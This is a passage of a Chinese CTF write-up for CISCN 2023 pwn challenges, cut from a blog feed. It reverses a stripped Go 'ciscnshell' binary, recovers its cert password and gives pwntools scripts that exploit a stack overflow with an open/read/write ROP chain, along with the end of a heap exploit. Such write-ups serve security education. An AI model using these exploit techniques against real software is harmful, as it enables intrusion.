class="string">b&#x27;flag&#x27;</span>+p32(<span class="number">0</span>))\</span><br><span class="line">        <span class="comment">#edit(3, p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x50)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts)+p64(0)*12+b&#x27;flag\x00&#x27;)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x14\x18\xe0\x03\x22\x08&#x27;</span>+p64(gadget))    <span class="comment">#add(10, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">   0x00007fafa4536f5d &lt;+61&gt;:mov    rsp,QWORD PTR [rdx+0xa0]</span></span><br><span class="line"><span class="string">   0x00007fafa4536f64 &lt;+68&gt;:mov    rbx,QWORD PTR [rdx+0x80]</span></span><br><span class="line"><span class="string">   0x00007fafa4536f6b &lt;+75&gt;:mov    rbp,QWORD PTR [rdx+0x78]</span></span><br><span class="line"><span class="string">   0x00007fafa4536f6f &lt;+79&gt;:mov    r12,QWORD PTR [rdx+0x48]</span></span><br><span class="line"><span class="string">   0x00007fafa4536f73 &lt;+83&gt;:mov    r13,QWORD PTR [rdx+0x50]</span></span><br><span class="line"><span class="string">   0x00007fafa4536f77 &lt;+87&gt;:mov    r14,QWORD PTR [rdx+0x58]</span></span><br><span class="line"><span class="string">   0x00007fafa4536f7b &lt;+91&gt;:mov    r15,QWORD PTR [rdx+0x60]</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">DEBUG()</span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x04\x18\x10\x22\x00&#x27;</span>)   <span class="comment">#free(2)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="0x03-Shell-we-go"><a href="#0x03-Shell-we-go" class="headerlink" title="0x03. Shell we go"></a>0x03. Shell we go</h2><p>一个扣掉所有符号的静态链接go程序（不用finger修复一下函数符号是真的一坨）</p><p>直接看程序连main函数都找不到，先运行下，根据<code>ciscnshell</code>跳转到一个最可能是main函数的地方</p><p>main函数基本就如下几步：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">&#123;</span><br><span class="line">  print_str();</span><br><span class="line">  input = get_input(<span class="number">1LL</span>, <span class="number">1LL</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v9 )</span><br><span class="line">  &#123;</span><br><span class="line">    exec();</span><br><span class="line">  &#125;</span><br><span class="line">  v10 = sub_4C1900();</span><br><span class="line">  <span class="keyword">if</span> ( v10 )</span><br><span class="line">  &#123;</span><br><span class="line">    exec();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">  </span><br></pre></td></tr></table></figure></div><p>在调试时发现程序会进入<code>sub_4c1900</code>函数中，该函数中似乎有一部分无法正确反编译，因此需要看汇编</p><p>我们的目的是通过cert，因此使用cert查找字符串，找到了一个有趣的字符串<code>Cert complete, you can explore more</code></p><p>通过引用找到了一个函数，很显然这个函数就是我们要到达的验证成功的地方，该函数为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">qmemcpy(v9, <span class="string">&quot;F1nallB1rd3K3y&quot;</span>, <span class="number">14</span>);</span><br><span class="line">crypto_rc4_NewCipher();</span><br><span class="line">crypto_rc4__Cipher_XORKeyStream();</span><br><span class="line">v7 = v10;</span><br><span class="line">result = (_QWORD *)local_encoding_base64__Encoding_EncodeToString();</span><br><span class="line"><span class="keyword">if</span> ( !qword_5D1128 &amp;&amp; v7 == <span class="number">16</span> &amp;&amp; *result == <span class="string">&#x27;Sbp8XILJ&#x27;</span> &amp;&amp; result[<span class="number">1</span>] == <span class="string">&#x27;GaW/uZYv&#x27;</span> )</span><br><span class="line">&#123;</span><br><span class="line">  result = (_QWORD *)fmt_Fprintf();</span><br><span class="line">  qword_5D1128 = <span class="number">1LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>可以看到使用了rc4加密，加密后还进行了base64编码，通过交叉引用找到了<code>sub_4c1900</code>引用该函数的地方</p><p>我们需要通过如下判断</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">.text:00000000004C19CD 48 8D 0D A4 78 04 00          lea     rcx, unk_509278</span><br><span class="line">.text:00000000004C19D4 BF 01 00 00 00                mov     edi, 1</span><br><span class="line">.text:00000000004C19D9 31 F6                         xor     esi, esi</span><br><span class="line">.text:00000000004C19DB 49 C7 C0 FF FF FF FF          mov     r8, 0FFFFFFFFFFFFFFFFh</span><br><span class="line">.text:00000000004C19E2 E8 D9 CB FA FF                call    strings_genSplit</span><br><span class="line">.text:00000000004C19E2</span><br><span class="line">.text:00000000004C19E7 48 83 3D 39 F7 10 00 00       cmp     cs:qword_5D1128, 0</span><br><span class="line">.text:00000000004C19EF 75 33                         jnz     short loc_4C1A24</span><br><span class="line">.text:00000000004C19EF</span><br><span class="line">.text:00000000004C19F1 48 85 DB                      test    rbx, rbx</span><br><span class="line">.text:00000000004C19F4 0F 86 2B 03 00 00             jbe     loc_4C1D25</span><br><span class="line">.text:00000000004C19F4</span><br><span class="line">.text:00000000004C19FA 48 8B 10                      mov     rdx, [rax]</span><br><span class="line">.text:00000000004C19FD 48 83 78 08 04                cmp     qword ptr [rax+8], 4</span><br><span class="line">.text:00000000004C1A02 75 08                         jnz     short loc_4C1A0C</span><br><span class="line">.text:00000000004C1A02</span><br><span class="line">.text:00000000004C1A04 81 3A 63 65 72 74             cmp     dword ptr [rdx], &#x27;trec&#x27;</span><br><span class="line">.text:00000000004C1A0A 74 18                         jz      short loc_4C1A24</span><br><span class="line">...</span><br><span class="line">.text:00000000004C1A24                               loc_4C1A24:                   ; CODE XREF: sub_4C1900+EF↑j</span><br><span class="line">.text:00000000004C1A24                                                             ; sub_4C1900+10A↑j</span><br><span class="line">.text:00000000004C1A24 48 85 DB                      test    rbx, rbx</span><br><span class="line">.text:00000000004C1A27 0F 86 EE 02 00 00             jbe     loc_4C1D1B</span><br><span class="line">.text:00000000004C1A27</span><br><span class="line">.text:00000000004C1A2D 48 8B 10                      mov     rdx, [rax]</span><br><span class="line">.text:00000000004C1A30 4C 8B 40 08                   mov     r8, [rax+8]</span><br><span class="line">.text:00000000004C1A34 49 83 F8 03                   cmp     r8, 3</span><br><span class="line">.text:00000000004C1A38 0F 8F 8B 01 00 00             jg      loc_4C1BC9</span><br><span class="line">...</span><br><span class="line">.text:00000000004C1BC9                               loc_4C1BC9:                   ; CODE XREF: sub_4C1900+138↑j</span><br><span class="line">.text:00000000004C1BC9 49 83 F8 04                   cmp     r8, 4</span><br><span class="line">.text:00000000004C1BCD 0F 85 B3 00 00 00             jnz     loc_4C1C86</span><br><span class="line">.text:00000000004C1BCD</span><br><span class="line">.text:00000000004C1BD3 81 3A 63 65 72 74             cmp     dword ptr [rdx], &#x27;trec&#x27;</span><br><span class="line">.text:00000000004C1BD9 75 7E                         jnz     short loc_4C1C59</span><br><span class="line">.text:00000000004C1BD9</span><br><span class="line">.text:00000000004C1BDB 0F 1F 44 00 00                nop     dword ptr [rax+rax+00h]</span><br><span class="line">.text:00000000004C1BE0 48 83 FB 03                   cmp     rbx, 3</span><br><span class="line">.text:00000000004C1BE4 75 5B                         jnz     short loc_4C1C41</span><br><span class="line">.text:00000000004C1BE4</span><br><span class="line">.text:00000000004C1BE6 48 8B 48 10                   mov     rcx, [rax+10h]</span><br><span class="line">.text:00000000004C1BEA 48 83 78 18 09                cmp     qword ptr [rax+18h], 9</span><br><span class="line">.text:00000000004C1BEF 75 1A                         jnz     short loc_4C1C0B</span><br><span class="line">.text:00000000004C1BEF</span><br><span class="line">.text:00000000004C1BF1 48 BA 6E 41 63 44 73 4D 69 63 mov     rdx, &#x27;ciMsDcAn&#x27;</span><br><span class="line">.text:00000000004C1BFB 0F 1F 44 00 00                nop     dword ptr [rax+rax+00h]</span><br><span class="line">.text:00000000004C1C00 48 39 11                      cmp     [rcx], rdx</span><br><span class="line">.text:00000000004C1C03 75 06                         jnz     short loc_4C1C0B</span><br><span class="line">.text:00000000004C1C03</span><br><span class="line">.text:00000000004C1C05 80 79 08 4E                   cmp     byte ptr [rcx+8], 4Eh ; &#x27;N&#x27;</span><br><span class="line">.text:00000000004C1C09 74 18                         jz      short loc_4C1C23</span><br><span class="line">...</span><br><span class="line">.text:00000000004C1C23                               loc_4C1C23:                   ; CODE XREF: sub_4C1900+309↑j</span><br><span class="line">.text:00000000004C1C23 48 8B 48 20                   mov     rcx, [rax+20h]</span><br><span class="line">.text:00000000004C1C27 48 8B 58 28                   mov     rbx, [rax+28h]</span><br><span class="line">.text:00000000004C1C2B 48 89 C8                      mov     rax, rcx</span><br><span class="line">.text:00000000004C1C2E E8 6D F8 FF FF                call    previl_judge</span><br></pre></td></tr></table></figure></div><p>可以看到程序会先分割我们输入的字符串，然后比较第一个字符串是否为<code>cert</code>，比较第二个字符串是否为<code>nAcDsMicN</code>，然后进入之后的判断函数</p><p>在判断函数中，会使用<code>F1nallB1rd3K3y</code>当作key来对我们输入的第三个参数进行加密，并进行base64编码，然后和正确值比较，成功则给予权限</p><p>解密<code>JLIX8pbSvYZu/WaG</code>后获得<code>S33UAga1n@#!</code>，因此我们需要输入<code>cert nAcDsMicN S33UAga1n@#!</code>来进行验证，之后就可以正常交互了。</p><p>可用的命令为<code>ls</code>，<code>echo</code>，<code>cat</code>，<code>whoami</code>，<code>exit</code>，<code>cd</code>，相关汇编代码如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line">cd:</span><br><span class="line">.text:00000000004C1A4A 66 81 3A 63 64                cmp     word ptr [rdx], &#x27;dc&#x27;</span><br><span class="line">.text:00000000004C1A4F 75 38                         jnz     short loc_4C1A89</span><br><span class="line">.text:00000000004C1A4F</span><br><span class="line">.text:00000000004C1A51 48 83 FB 02                   cmp     rbx, 2</span><br><span class="line">.text:00000000004C1A55 7D 18                         jge     short loc_4C1A6F</span><br><span class="line">...</span><br><span class="line">.text:00000000004C1A6F 48 8B 48 10                   mov     rcx, [rax+10h]</span><br><span class="line">.text:00000000004C1A73 48 8B 58 18                   mov     rbx, [rax+18h]</span><br><span class="line">.text:00000000004C1A77 48 89 C8                      mov     rax, rcx</span><br><span class="line">.text:00000000004C1A7A E8 01 53 FD FF                call    os_Chdir</span><br><span class="line"></span><br><span class="line">ls:</span><br><span class="line">.text:00000000004C1A89 66 81 3A 6C 73                cmp     word ptr [rdx], &#x27;sl&#x27;</span><br><span class="line">.text:00000000004C1A8E 0F 85 54 02 00 00             jnz     loc_4C1CE8</span><br><span class="line">.text:00000000004C1A8E</span><br><span class="line">.text:00000000004C1A94 44 0F 11 7C 24 60             movups  [rsp+78h+var_18], xmm15</span><br><span class="line">.text:00000000004C1A9A 48 8D 15 FD 34 02 00          lea     rdx, aAl              ; &quot;-al&quot;</span><br><span class="line">.text:00000000004C1AA1 48 89 54 24 60                mov     qword ptr [rsp+78h+var_18], rdx</span><br><span class="line">.text:00000000004C1AA6 48 C7 44 24 68 03 00 00 00    mov     qword ptr [rsp+78h+var_18+8], 3</span><br><span class="line">.text:00000000004C1AAF 48 8D 05 B5 34 02 00          lea     rax, aLs              ; &quot;ls&quot;</span><br><span class="line">.text:00000000004C1AB6 BB 02 00 00 00                mov     ebx, 2</span><br><span class="line">.text:00000000004C1ABB 48 8D 4C 24 60                lea     rcx, [rsp+78h+var_18]</span><br><span class="line">.text:00000000004C1AC0 BF 01 00 00 00                mov     edi, 1</span><br><span class="line">.text:00000000004C1AC5 48 89 FE                      mov     rsi, rdi</span><br><span class="line">.text:00000000004C1AC8 E8 53 21 FE FF                call    sub_4A3C20</span><br><span class="line"></span><br><span class="line">cat:</span><br><span class="line">.text:00000000004C1B33 66 81 3A 63 61                cmp     word ptr [rdx], &#x27;ac&#x27;</span><br><span class="line">.text:00000000004C1B38 0F 85 AA 01 00 00             jnz     loc_4C1CE8</span><br><span class="line">.text:00000000004C1B38</span><br><span class="line">.text:00000000004C1B3E 80 7A 02 74                   cmp     byte ptr [rdx+2], 74h ; &#x27;t&#x27;</span><br><span class="line">.text:00000000004C1B42 0F 85 A0 01 00 00             jnz     loc_4C1CE8</span><br><span class="line">.text:00000000004C1B42</span><br><span class="line">.text:00000000004C1B48 48 83 FB 01                   cmp     rbx, 1</span><br><span class="line">.text:00000000004C1B4C 0F 86 BC 01 00 00             jbe     loc_4C1D0E</span><br><span class="line">.text:00000000004C1B4C</span><br><span class="line">.text:00000000004C1B52 48 8B 50 10                   mov     rdx, [rax+10h]</span><br><span class="line">.text:00000000004C1B56 48 83 78 18 04                cmp     qword ptr [rax+18h], 4</span><br><span class="line">.text:00000000004C1B5B 75 08                         jnz     short loc_4C1B65</span><br><span class="line">.text:00000000004C1B5B</span><br><span class="line">.text:00000000004C1B5D 81 3A 66 6C 61 67             cmp     dword ptr [rdx], &#x27;galf&#x27;</span><br><span class="line">.text:00000000004C1B63 74 18                         jz      short loc_4C1B7D</span><br><span class="line">...</span><br><span class="line">.text:00000000004C1B7D                               loc_4C1B7D:                   ; CODE XREF: sub_4C1900+263↑j</span><br><span class="line">.text:00000000004C1B7D 44 0F 11 7C 24 40             movups  [rsp+78h+var_38], xmm15</span><br><span class="line">.text:00000000004C1B83 48 8D 15 56 B7 00 00          lea     rdx, unk_4CD2E0</span><br><span class="line">.text:00000000004C1B8A 48 89 54 24 40                mov     qword ptr [rsp+78h+var_38], rdx</span><br><span class="line">.text:00000000004C1B8F 48 8D 15 1A 78 04 00          lea     rdx, off_5093B0       ; &quot;flag&#123;Tm93YXkuWW91IFRydXN0IE1lIFRoaXMgVG&quot;...</span><br><span class="line">.text:00000000004C1B96 48 89 54 24 48                mov     qword ptr [rsp+78h+var_38+8], rdx</span><br><span class="line">.text:00000000004C1B9B 48 8B 1D 86 10 0E 00          mov     rbx, cs:qword_5A2C28</span><br><span class="line">.text:00000000004C1BA2 48 8D 05 AF 7D 04 00          lea     rax, off_509958</span><br><span class="line">.text:00000000004C1BA9 48 8D 4C 24 40                lea     rcx, [rsp+78h+var_38]</span><br><span class="line">.text:00000000004C1BAE BF 01 00 00 00                mov     edi, 1</span><br><span class="line">.text:00000000004C1BB3 48 89 FE                      mov     rsi, rdi</span><br><span class="line">.text:00000000004C1BB6 E8 25 96 FD FF                call    print_str</span><br><span class="line"></span><br><span class="line">echo:</span><br><span class="line">.text:00000000004C1C59 81 3A 65 63 68 6F             cmp     dword ptr [rdx], &#x27;ohce&#x27;</span><br><span class="line">.text:00000000004C1C5F 90                            nop</span><br><span class="line">.text:00000000004C1C60 74 11                         jz      short loc_4C1C73</span><br><span class="line">...</span><br><span class="line">.text:00000000004C1C73                               loc_4C1C73:                   ; CODE XREF: sub_4C1900+360↑j</span><br><span class="line">.text:00000000004C1C73 E8 A8 FA FF FF                call    sub_4C1720</span><br><span class="line"></span><br><span class="line">exit:</span><br><span class="line">.text:00000000004C1C62 81 3A 65 78 69 74             cmp     dword ptr [rdx], &#x27;tixe&#x27;</span><br><span class="line">.text:00000000004C1C68 75 7E                         jnz     short loc_4C1CE8</span><br><span class="line">.text:00000000004C1C68</span><br><span class="line">.text:00000000004C1C6A 31 C0                         xor     eax, eax</span><br><span class="line">.text:00000000004C1C6C E8 AF 5D FD FF                call    sub_497A20</span><br><span class="line"></span><br><span class="line">whoami:</span><br><span class="line">.text:00000000004C1C8C 81 3A 77 68 6F 61             cmp     dword ptr [rdx], &#x27;aohw&#x27;</span><br><span class="line">.text:00000000004C1C92 75 54                         jnz     short loc_4C1CE8</span><br><span class="line">.text:00000000004C1C92</span><br><span class="line">.text:00000000004C1C94 66 81 7A 04 6D 69             cmp     word ptr [rdx+4], &#x27;im&#x27;</span><br><span class="line">.text:00000000004C1C9A 75 4C                         jnz     short loc_4C1CE8</span><br><span class="line">.text:00000000004C1C9A</span><br><span class="line">.text:00000000004C1C9C 44 0F 11 7C 24 50             movups  [rsp+78h+var_28], xmm15</span><br><span class="line">.text:00000000004C1CA2 48 8D 15 37 B6 00 00          lea     rdx, unk_4CD2E0</span><br><span class="line">.text:00000000004C1CA9 48 89 54 24 50                mov     qword ptr [rsp+78h+var_28], rdx</span><br><span class="line">.text:00000000004C1CAE 48 8D 15 EB 76 04 00          lea     rdx, off_5093A0       ; &quot;nightingale&quot;</span><br><span class="line">.text:00000000004C1CB5 48 89 54 24 58                mov     qword ptr [rsp+78h+var_28+8], rdx</span><br><span class="line">.text:00000000004C1CBA 48 8B 1D 67 0F 0E 00          mov     rbx, cs:qword_5A2C28</span><br><span class="line">.text:00000000004C1CC1 48 8D 05 90 7C 04 00          lea     rax, off_509958</span><br><span class="line">.text:00000000004C1CC8 48 8D 4C 24 50                lea     rcx, [rsp+78h+var_28]</span><br><span class="line">.text:00000000004C1CCD BF 01 00 00 00                mov     edi, 1</span><br><span class="line">.text:00000000004C1CD2 48 89 FE                      mov     rsi, rdi</span><br><span class="line">.text:00000000004C1CD5 E8 06 95 FD FF                call    print_str</span><br></pre></td></tr></table></figure></div><p>cd命令直接调用了库函数，ls命令会以<code>ls -la</code>执行，使用cat命令会提示Permission denial，而cat flag时会给你一个假的flag，echo命令call了一个函数去执行，这里看一下这个函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">v10 = <span class="string">&quot;unk_func0b04:&quot;</span>;</span><br><span class="line"><span class="keyword">while</span> ( v8 &lt; v7 )</span><br><span class="line">&#123;</span><br><span class="line">  v17 = v8;</span><br><span class="line">  v22 = v6;</span><br><span class="line">  v3 = (__int64)v6[<span class="number">1</span>];</span><br><span class="line">  v2 = *v6;</span><br><span class="line">  v11 = runtime_concatstring2();</span><br><span class="line">  <span class="keyword">if</span> ( v3 &gt; <span class="number">0x200</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">  v6 = v22 + <span class="number">2</span>;</span><br><span class="line">  v7 = v18;</span><br><span class="line">  v9 = (__int64)v10;</span><br><span class="line">  v10 = (<span class="type">const</span> <span class="type">char</span> *)v11;</span><br><span class="line">  v8 = v17 + <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">v16 = v9;</span><br><span class="line">v23 = runtime_stringtoslicebyte();</span><br><span class="line">v24 = (<span class="type">unsigned</span> __int64)v10;</span><br><span class="line">v25 = v13;</span><br><span class="line"><span class="keyword">for</span> ( i = <span class="number">0LL</span>; (__int64)i &lt; v16; ++i )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( i &gt;= v24 )</span><br><span class="line">    sub_462420((__int64)v2, v3, v24);</span><br><span class="line">  v15 = *(<span class="type">unsigned</span> __int8 *)(v23 + i);</span><br><span class="line">  <span class="keyword">if</span> ( (_BYTE)v15 != <span class="string">&#x27;+&#x27;</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( i &gt;= <span class="number">0x400</span> )</span><br><span class="line">      sub_462420((__int64)v2, v3, v15);</span><br><span class="line">    *((_BYTE *)&amp;v19 + i) = v15;<span class="comment">//拷贝到栈</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">sub_4C1620();</span><br></pre></td></tr></table></figure></div><p>硬看这个函数的话，有点丑，可以直接输入进行调试，这里会将后面用空格隔开的参数连接起来（每个参数的长度不超过0x200），并拷贝到栈中，其中会跳过<code>+</code>符号，因此可以直接覆盖栈返回地址进行ROP. 打本地可以直接读入&#x2F;bin&#x2F;sh，然后getshell。但是远程只能orw得到flag</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.anna.nssctf.cn&#x27;,28634)</span></span><br><span class="line">io = process(<span class="string">&#x27;./shell&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./shell&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;b *0x4c1887&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">pop_rdi = <span class="number">0x444fec</span></span><br><span class="line">pop_rsi = <span class="number">0x41e818</span></span><br><span class="line">pop_rdx = <span class="number">0x49e11d</span></span><br><span class="line">pop_rax = <span class="number">0x40d9e6</span></span><br><span class="line">syscall = <span class="number">0x40328c</span></span><br><span class="line">flag = <span class="number">0x4c3a6d</span></span><br><span class="line">bss = <span class="number">0x5d0000</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;ciscnshell$ &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;cert nAcDsMicN S33UAga1n@#!&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;nightingale# &#x27;</span>)</span><br><span class="line">payload = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(<span class="number">0</span>) + p64(pop_rdx) + p64(<span class="number">0</span>) + p64(pop_rax) + p64(<span class="number">2</span>) + p64(syscall)\</span><br><span class="line">         +p64(pop_rdi) + p64(<span class="number">3</span>) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(<span class="number">0x50</span>) + p64(pop_rax) + p64(<span class="number">0</span>) + p64(syscall)\</span><br><span class="line">         +p64(pop_rdi) + p64(<span class="number">1</span>) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(<span class="number">0x50</span>) + p64(pop_rax) + p64(<span class="number">1</span>) + p64(syscall)</span><br><span class="line">io.sendline(<span class="string">b&#x27;echo &#x27;</span>+<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x100</span>+<span class="string">b&#x27; &#x27;</span>+<span class="string">b&#x27;B&#x27;</span>*<span class="number">0xf0</span>+<span class="string">b&#x27;+&#x27;</span>*<span class="number">0x10</span>+<span class="string">b&#x27; &#x27;</span>+<span class="string">b&#x27;+&#x27;</span>*<span class="number">0x10</span>+<span class="string">b&#x27;C&#x27;</span>*<span class="number">0x13</span>+payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/04/06/CTFS-wp/CISCN2023_WP/</id>
    <link href="https://staticccccccc.github.io/2024/04/06/CTFS-wp/CISCN2023_WP/"/>
    <published>2024-04-06T14:10:00.000Z</published>
    <summary>被暴打了hhhhhhhhhh</summary>
    <title>
      <![CDATA[CISCN 2023 初赛pwn部分wp & 复现]]>
    </title>
    <updated>2024-04-06T14:10:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="CTFS" scheme="https://staticccccccc.github.io/categories/CTFS/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
